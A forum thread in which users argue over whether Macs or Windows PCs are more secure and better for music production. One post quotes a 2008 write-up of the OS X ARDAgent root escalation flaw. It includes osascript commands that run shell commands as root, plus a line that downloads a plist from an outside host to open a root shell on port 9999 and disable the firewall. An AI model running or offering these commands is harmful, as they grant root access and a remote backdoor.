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Sucio

Old and dirty...
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Battle Points: 304
Who cares?

It's like comparing Xbox to PS3...People are going to like what they have for their own personal opinions....

Each platform has it's advantages and disadvantages....

After doing some further review myself.....They aren't much different to me.
 

konceptG

ILLIEN
ill o.g.
Who cares?

It's like comparing Xbox to PS3...People are going to like what they have for their own personal opinions....

Each platform has it's advantages and disadvantages....

After doing some further review myself.....They aren't much different to me.

no, the XBox and PS3 ARE different platforms.

From a hardware perspective, a Mac is no different from a PC minus a couple of minor changes for OSX to boot. This is the reason you can run Windows on a Mac and OSX on a properly equipped PC. The difference comes down to the OS and the expense with buying what amounts to a PC in a pretty case instead of a Dell/HP/custom PC.

Hardware-wise, a Mac is no better than a PC, you just pay more for your Mac.
 

thedreampolice

A backwards poet writes inverse.
ill o.g.
Battle Points: 21
Two questions for you konceptG

#1 How much time have you spent working with OSX? I mean real under the hood admin stuff?

#2 How many virus's in your life have you gotten on your own or a machine you have worked on, on your or the windows machines you work with?
 

Formant024

Digital Smokerings
ill o.g.
concepts is right on few points, mac's just arent the target for most botnet opposed to writing hax/botnet for windows platform.

Other than that, in the pro industry...nooooooone cares, theyre willing to put down the bucks to get a mac since noooooooone of them has time to fuck around with windows, driver updates and weird quirks/incompatibilities let alone building a custom pc. Imo cant be fucked building my own super custom pc...get a mac pro, fit in 16Gb Ram and run logic and look at it fly without being worried for it to come crashing down...I havent installed osx since i got my mbp (away with factory install), bootcamp already twice (2x bsod, no virus, trojans whatever). OSX ftw! Maybe, just maybe if could get a laptop that runs osx i couldve ponder about using that instead of an mbp...but...the casing of the mbp has been reassuring already opposed to all the plastic cased laptops ive had (no my mbp does sit at home, it gets a beating since i take it pretty much everywhere i go lol).
 

konceptG

ILLIEN
ill o.g.
Two questions for you konceptG

#1 How much time have you spent working with OSX? I mean real under the hood admin stuff?

#2 How many virus's in your life have you gotten on your own or a machine you have worked on, on your or the windows machines you work with?

I was one of three admins for OSX and the only one that supported both Mac and Windows when I worked for a large ad/marketing firm. This was when OSX first came out. I've owned Macs up to the "Quicksilver" G4 867. I stopped running Macs and sold all of the macs I still had (B&W G3, 9600/300 w/Sonnet G3, 7600/132 w/Sonnet G3).

Grand total of 5 virus infections on the PC, one of which my wife got me hit with while using my machine (SirCam). I've only had two since getting off of Win98SE: once with Win2000, and one with XP. Since I switch hardware in and out of my machines so often, I rarely have a single XP install for more than a few months at a time. I run Firefox with NoScript as my browser, and use a Windows ME VM running Opera for "other things" from time to time (that VM gets nuked once a month).
 

konceptG

ILLIEN
ill o.g.
ok how many times did your macs get a virus? and it seems you have not used OSX in a LONG time.

Doesn't matter, the trojans I listed are RECENT and there's plenty more too. In early 2006 everyone was all up in arms 'cause there was a zero-day exploit in the wild for OSX (drive-by malware). Some of the cats I knew back then refused to believe it was possible until we tested it in one of our labs and, sure enough, we rooted a Mac with ZERO resistance. Likewise, there was an exploit in 2008 that was actively being use to target Macs (OS X ARD Agent Root Escalation Vulnerability)

You can do all the rootkit scans and whatnot you want, but a well crafted rootkit will evade detection.


BTW... The reason I'm telling you this is that I'm fairly well versed in security on Windows, OSX, and various Unix flavors. I just published a whitepaper for internal use in my company on this very subject.

In fact, here's one of the OSX vulnerabilities I cited in the paper (the ARD Root Escalation exploit): http://ithreats.net/2008/06/20/zero-day-os-x-ard-agent-root-escalation-vulnerability/

Disconfirmed – I don’t have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory

So, how dangerous is this? Here’s an example:

osascript -e ‘tell app “ARDAgent” to do shell script “cd
/System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl “‘


This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can ‘nc localhost 9999′ and find yourself at a root shell.

To remove, run ‘launchctl unload com.apple.bash’ ‘launchctl unload /System/Library/LaunchDaemons/bash.plist’ and then ‘rm /System/Library/LaunchDaemons/bash.plist’

It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that’s easily bypassed with a Python script.

So yeah; anything can be downloaded, and anything can be done with it. Scary.

Now, an exploit like this one could be coupled with drive-by malware that exploits holes in Safari (like this one: http://www.neowin.net/news/main/09/03/19/macbook-hacked-in-seconds-again), and you can have malware downloaded and running on your machine as root and there's nothing you can do about it.
 

thedreampolice

A backwards poet writes inverse.
ill o.g.
Battle Points: 21
But there are windows virus's that you can get just by hooking to the internet and nothing else.

There will always be venerabilities on any computer but there are simply not THOUSANDS of virus's running wild like there are for windows, in fact there is NOT ONE OSX virus that is running ramped like there are for windows. Everything you site has been done in the lab but are simply not in the real world. The IT team at Sweewater (over 400 macs on a network BTW) said there has never been a root exploit or virus problem. You can come up with all the possible hacks you want but you have to know that the UNIX/BSD underpinnings of OSX are inherently more secure than any windows box.
 

sYgMa

Making head bangers!!!
ill o.g.
Battle Points: 26
I just started messing up with Ubuntu... so far, so good... but I need to do a dual boot or to have a virtual machine... so I can use FL Studio...

which would you guys suggest?
 

Sucio

Old and dirty...
ill o.g.
Battle Points: 304
It's all a matter of preference and what you're comfortable with.....

End of story...there's a million arguments supporting both platforms....and it will never end.....
 

daproduct

ILLIEN
ill o.g.
like i said the first time i posted this thread... FANBOY BEATING STICK! yall gettin smacked with that shit! hahaha
 

thedreampolice

A backwards poet writes inverse.
ill o.g.
Battle Points: 21
"fine switch to Mac let the majority of the world start using Macs and we'll see how stable they would be and how many viruses each day come up"

Ya thats a myth, it has nothing to do with market share. For example Linux dominates the web server market I believe it is over 90% vs Windows IIS web server and still the Windows servers gets compromised much more often.
 
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